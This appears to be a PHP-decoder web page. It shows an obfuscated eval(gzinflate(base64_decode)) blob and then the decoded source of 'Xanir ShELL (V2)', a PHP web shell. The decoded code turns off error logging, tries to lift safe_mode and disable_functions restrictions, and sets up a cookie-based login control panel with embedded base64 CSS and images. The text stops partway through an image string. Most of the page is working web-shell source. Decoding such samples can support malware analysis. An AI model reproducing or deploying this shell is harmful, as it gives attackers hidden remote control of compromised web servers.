Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("7P1pe+PGkiAKf/Z5nvMfaHbdI6mpEgDudFl1zB3cQXCn7VFjJ0hsxEKCPO3/..

Decoded Output download


if (!IpControl($Ip_Iscontroled)) show404();
error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_restore("safe_mode");
@ini_restore("open_basedir");
@ini_restore("safe_mode_include_dir");
@ini_restore("safe_mode_exec_dir");
@ini_restore("disable_functions");
@ini_restore("allow_url_fopen");
if(@function_exists('ini_set')){
 @ini_set('max_execution_time',0);
 @ini_set('output_buffering',0);
 ini_set('memory_limit','9999M');
 @ini_set('error_log',NULL);
 @ini_set('log_errors',0);
 @ini_set('file_uploads',1);
 @ini_set('allow_url_fopen',1);
 }else{
 @ini_alter('error_log',NULL);
 @ini_alter('log_errors',0);
 @ini_alter('file_uploads',1);
 @ini_alter('allow_url_fopen',1);
 }
$pmp_filename = $_SERVER['PHP_SELF'];
$dumb_url_replacer = false;
$charset = '';
$ust_u = '';
$includestr = '';
$sort = '';
$charset_length = 0;
$head = '<html><head><title>Xanir ShELL </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><script type="text/javascript" src="'.$_SERVER["PHP_SELF"].'?js"></script><link rel="stylesheet" type="text/css" media="all" href="'.$_SERVER["PHP_SELF"].'?css">';
$footer = '<br><div align=center><font face=Verdana size=-2 color=#cccccc>Xanir ShELL (V2), Developped and coded by Mu$lim. <br> The author cannot be held responsible for how this ShELL is used. <br> Feedback or report bug: Hacker4test[at]gmail[dot]com<br> (c) 2011</font></div><br></body></html>';
$LoginForm['user_Athen'] = false ;
$LoginForm['user_ActiveCoockie'] = true;
$LoginForm['user_erreur'] = 'Control Panel ! ';
if (isset($_POST['user_codeVerPost'])){ $LoginForm['user_codeVerification'] = $_POST['user_codeVerPost'] ;}
if (isset($_POST['logout']) || isset($_GET['logout'])){
if ($LoginForm['user_ActiveCoockie'] == true){setCookie('XanirShELL','',time()-30*24*3600);}
	$LoginForm['user_Athen'] = false;
	deltmp();
} elseif (isset($_COOKIE['XanirShELL'])){
  if ($_COOKIE['XanirShELL']==sha1($LoginForm['user_name'].$LoginForm['user_passwd'])){
 	$LoginForm['user_Athen'] = true;
 }
} elseif (isset($_POST['user_login'])) {
 if ($LoginForm['user_codeVerification'] == $_POST['user_codeVer']){
  if ($LoginForm['user_name']==sha1($_POST['user_name']) && $LoginForm['user_passwd']==sha1($_POST['user_passwrd'])) {
	if ($LoginForm['user_ActiveCoockie'] == true){setCookie('XanirShELL',sha1($LoginForm['user_name'].$LoginForm['user_passwd']) ,time()+30*24*3600);}
	$LoginForm['user_Athen'] = true;
   }else{
	$LoginForm['user_erreur'] = 'Access Denied !!';
  }
 }else{
	$LoginForm['user_erreur'] = 'Error code ';
 }
}
if(isset($_GET['css'])){
header('Content-type: text/css');
echo base64_decode('c2VsZWN0W25hbWU9QXV0b0NvbXBsaXRlXXsNCmJvcmRlcjogMXB4IHNvbGlkICNjY2NjY2M7DQp3aWR0aDogNTI1cHg7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6I2NjY2NjYzsNCmZvbnQ6IDhwdCBWZXJkYW5hOw0KfQ0Kc2VsZWN0IG9wdGlvbjpob3ZlcnsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQp9DQojSW5mb0J1bGx7DQpwb3NpdGlvbjphYnNvbHV0ZTsNCn0NCi5saXN0X3RhYmxlew0KdGV4dC1hbGlnbjpsZWZ0Ow0KZm9udC13ZWlnaHQ6Ym9sZDsNCnBhZGRpbmc6NXB4Ow0KYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzOw0KfQ0KLnRhYmxlX2xpc3R7DQpmb250OiA4cHQgVmVyZGFuYTsNCmN1cnNvcjpwb2ludGVyOw0KY29sb3I6I2NjY2NjYzsNCn0NCiNtZW51RGVyb3VsYW50DQp7DQogd2lkdGg6IDgwMHB4Ow0KIGxpc3Qtc3R5bGUtdHlwZTogbm9uZTsNCiBtYXJnaW46IDA7DQogcGFkZGluZzogMDsNCiBib3JkZXI6IDA7DQogcG9zaXRpb246YWJzb2x1dGU7DQogdGV4dC1hbGlnbjpjZW50ZXI7DQp9DQojbWVudURlcm91bGFudCBsaQ0Kew0KIGZsb2F0OiBsZWZ0Ow0KIHdpZHRoOiAxMDBweDsNCiBtYXJnaW46IDA7DQogcGFkZGluZzogMDsNCiBib3JkZXI6IDA7DQp9DQojbWVudURlcm91bGFudCAuc291c01lbnUNCnsNCiBkaXNwbGF5OiBub25lOw0KIHdpZHRoOiAxMDBweDsNCiBsaXN0LXN0eWxlLXR5cGU6IG5vbmU7DQogbWFyZ2luOiAwOw0KIHBhZGRpbmc6IDA7DQogYm9yZGVyOiAwOw0KIGJhY2tncm91bmQ6ICMzQjRFNzc7DQogdGV4dC1hbGlnbjpsZWZ0Ow0KfQ0KI21lbnVEZXJvdWxhbnQgLnNvdXNNZW51IGxpDQp7DQogZmxvYXQ6IG5vbmU7DQogbWFyZ2luOiAwOw0KIHBhZGRpbmc6IDA7DQogYm9yZGVyOiAwOw0KIHdpZHRoOiAxMDBweDsNCiBib3JkZXItdG9wOiAxcHggc29saWQgIzAwMDAwMDsNCn0NCiNtZW51RGVyb3VsYW50IGxpIGE6bGluaywgI21lbnVEZXJvdWxhbnQgbGkgYTp2aXNpdGVkDQp7DQogZGlzcGxheTogYmxvY2s7DQogaGVpZ2h0OiAxJTsNCiBjb2xvcjogI0ZGRjsNCiBiYWNrZ3JvdW5kOiAjM0I0RTc3Ow0KIG1hcmdpbjogMDsNCiBwYWRkaW5nOiA0cHggOHB4Ow0KIGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDAwMDA7DQogdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KfQ0KI21lbnVEZXJvdWxhbnQgbGkgYTpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6ICNGMjQ2MkU7IH0NCiNtZW51RGVyb3VsYW50IGxpIGE6YWN0aXZlIHsgYmFja2dyb3VuZC1jb2xvcjogI0YyNDYyRTsgfQ0KDQojbWVudURlcm91bGFudCAuc291c01lbnUgbGkgYTpsaW5rLA0KI21lbnVEZXJvdWxhbnQgLnNvdXNNZW51IGxpIGE6dmlzaXRlZA0Kew0KIGRpc3BsYXk6IGJsb2NrOw0KIGNvbG9yOiAjRkZGOw0KIG1hcmdpbjogMDsNCiBib3JkZXI6IDA7DQogdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KfQ0KI21lbnVEZXJvdWxhbnQgLnNvdXNNZW51IGxpIGE6aG92ZXINCnsNCiBiYWNrZ3JvdW5kLWltYWdlOiBub25lOw0KIGJhY2tncm91bmQtY29sb3I6ICNGMjQ2MkU7DQp9DQojbWVudURlcm91bGFudCBsaTpob3ZlciA+IC5zb3VzTWVudSB7IGRpc3BsYXk6IGJsb2NrOyB9IA0KaW1new0KbWFyZ2luLXRvcDogMXB4Ow0KbWFyZ2luLXJpZ2h0OiAycHg7DQptYXJnaW4tYm90dG9tOiAxcHg7DQptYXJnaW4tbGVmdDogMnB4Ow0KQk9SREVSLVJJR0hUOiAgIzExMTExMSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjMjIyMjIyIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMxMTExMTEgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzIyMjIyMiAxcHggc29saWQ7DQpiYWNrZ3JvdW5kOiM5OTk5OTk7IA0KY3Vyc29yOnBvaW50ZXI7DQp9DQp0ciB7DQpCT1JERVItUklHSFQ6ICAjMTExMTExIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMyMjIyMjIgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzExMTExMSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjMjIyMjIyIDFweCBzb2xpZDsNCn0NCnRkIHsNCkJPUkRFUi1SSUdIVDogICMxMTExMTEgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzIyMjIyMiAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjMTExMTExIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMyMjIyMjIgMXB4IHNvbGlkOw0KfQ0KLnRhYmxlMSB7DQpCT1JERVItUklHSFQ6ICAjMzMzMzMzIDBweDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMHB4Ow0KQk9SREVSLUxFRlQ6ICAgIzMzMzMzMyAwcHg7DQpCT1JERVItQk9UVE9NOiAjOTk5OTk5IDBweDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMwMDAwMDA7DQpib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOw0KfQ0KLnRkMSB7DQpCT1JERVItUklHSFQ6ICAjMTExMTExIDBweDsNCkJPUkRFUi1UT1A6ICAgICMyMjIyMjIgMHB4Ow0KQk9SREVSLUxFRlQ6ICAgIzExMTExMSAwcHg7DQpCT1JERVItQk9UVE9NOiAjMjIyMjIyIDBweDsNCmZvbnQ6IDdwdCBWZXJkYW5hOw0KfQ0KLnRyMSB7DQpCT1JERVItUklHSFQ6ICAjMzMzMzMzIDBweDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMHB4Ow0KQk9SREVSLUxFRlQ6ICAgIzMzMzMzMyAwcHg7DQpCT1JERVItQk9UVE9NOiAjOTk5OTk5IDBweDsNCn0NCi5zcWx7DQpib3JkZXI6IDA7DQp3aWR0aDogMTAwJTsNCn0NCnRhYmxlIHsNCkJPUkRFUi1SSUdIVDogICMzMzMzMzMgMXB4IG91dHNldDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMXB4IG91dHNldDsNCkJPUkRFUi1MRUZUOiAgICMzMzMzMzMgMXB4IG91dHNldDsNCkJPUkRFUi1CT1RUT006ICM5OTk5OTkgMXB4IG91dHNldDsNCmJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KfQ0KdGFibGVbbmFtZT1zZWxlY3RdIHRyOmhvdmVye0JBQ0tHUk9VTkQtQ09MT1I6IzMzMzMzM30NCmlucHV0IHsNCkJPUkRFUi1SSUdIVDogICMzMzMzMzMgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzg4ODg4OCAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjODg4ODg4IDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzMzMzMzMgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IDhwdCBWZXJkYW5hOw0KY29sb3I6I0ZGRkZGRjsNCn0NCmlucHV0W25hbWU9d2luX2RyaXZlcnNdew0KQk9SREVSLVJJR0hUOiAgIDBweDsNCkJPUkRFUi1UT1A6ICAgICAwcHg7DQpCT1JERVItTEVGVDogICAgMHB4Ow0KQk9SREVSLUJPVFRPTTogIDBweDsNCmN1cnNvcjpwb2ludGVyOw0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmZvbnQ6IDhwdCBWZXJkYW5hOw0KYm9yZGVyLXN0eWxlOiBzb2xpZDsNCkNPTE9SOiM0QzgzQUY7DQp9DQppbnB1dFtpZD1iYXJkaXJdew0KQk9SREVSLVJJR0hUOiAgIDFweDsNCkJPUkRFUi1UT1A6ICAgICAxcHg7DQpCT1JERVItTEVGVDogICAgMXB4Ow0KQk9SREVSLUJPVFRPTTogIDFweDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMwMDAwMDA7DQpmb250OiA4cHQgVmVyZGFuYTsNCmJvcmRlci1zdHlsZTogc29saWQ7DQpDT0xPUjojY2NjY2NjOw0KfQ0KaW5wdXRbaWQ9YmFyZGlyXTpob3ZlcntDT0xPUjojZmZmZmZmO30NCnNlbGVjdCB7DQpCT1JERVItUklHSFQ6ICAjMzMzMzMzIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjMzMzMzMzIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTExMTE7DQpjb2xvcjojRkZGRkZGOw0KZm9udDogOHB0IFZlcmRhbmE7DQp9DQpzdWJtaXQgew0KQk9SREVSLVJJR0hUOiAgYnV0dG9uaGlnaGxpZ2h0IDJweCBvdXRzZXQ7DQpCT1JERVItVE9QOiAgICBidXR0b25oaWdobGlnaHQgMnB4IG91dHNldDsNCkJPUkRFUi1MRUZUOiAgIGJ1dHRvbmhpZ2hsaWdodCAycHggb3V0c2V0Ow0KQk9SREVSLUJPVFRPTTogYnV0dG9uaGlnaGxpZ2h0IDJweCBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMzMzMzMzOw0KY29sb3I6I0ZGRkZGRjsNCndpZHRoOiAzMCU7DQp9DQp0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjMzMzMzMzIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjMzMzMzMzIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMyMjIyMjI7DQpjb2xvcjojRkZGRkNDOw0KZm9udDogRml4ZWRzeXMgYm9sZDsNCn0NCmxhYmVsIHsNCmNvbG9yOiNGRkZGRkY7DQpmb250OiA4cHQgVmVyZGFuYTsNCn0NCkJPRFkgew0KZm9udC1zaXplOjExcHg7IA0KZm9udC1mYW1pbHk6VmVyZGFuYSxBcmlhbDsgDQpjb2xvcjojRkZGRkZGOw0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCm1hcmdpbi10b3A6IDFweDsNCm1hcmdpbi1yaWdodDogMXB4Ow0KbWFyZ2luLWJvdHRvbTogMXB4Ow0KbWFyZ2luLWxlZnQ6IDFweDsNCn0NCkE6bGluayB7Q09MT1I6IzRDODNBRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTp2aXNpdGVkIHsgQ09MT1I6IzRDODNBRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTphY3RpdmUge0NPTE9SOiM0QzgzQUY7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6aG92ZXIge2NvbG9yOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0K');
die();
}
if(isset($_GET['img'])&&!empty($_GET['img'])){
 $images = array();
 $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw==';
 $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw==';
 $images[3]='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